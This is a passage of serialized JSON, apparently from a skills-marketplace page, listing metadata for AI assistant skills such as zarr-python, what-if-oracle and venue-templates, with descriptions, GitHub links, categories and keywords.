.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[161,162,163,164],{"categoryNo":115,"categoryName":116,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":124,"categoryName":125,"taxonomyType":126,"taxonomyTypeDesc":127},[109,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147],{"skillNo":167,"name":168,"nameZh":6,"description":169,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":170,"categories":171,"keywords":172,"publishedAt":44},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[173,174,175,176,177,178,179,180,181,182,183,184,185,186,187],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":189,"name":190,"nameZh":6,"description":191,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":192,"categories":193,"keywords":197,"publishedAt":44},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[194],{"categoryNo":195,"categoryName":196,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[198,199,200,201,202,203,204,205,206,207,208,140,141,209,210,211,212,213,214,215],"oracle","what if oracle","go","run","ux","futures","analysis","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":217,"name":218,"nameZh":6,"description":219,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":220,"categories":221,"keywords":232,"publishedAt":44},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[222,225,228,229],{"categoryNo":223,"categoryName":224,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":226,"categoryName":227,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":195,"categoryName":196,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":230,"categoryName":231,"taxonomyType":126,"taxonomyTypeDesc":127},"01JBSEEDCAT000000000000036","内容创作者",[233,234,235,236,237,238,239,240,137,241,140,141,142,242,243,244,245,246,187,247],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","access","proposals","Academic","requirements","formatting","journal","chi"]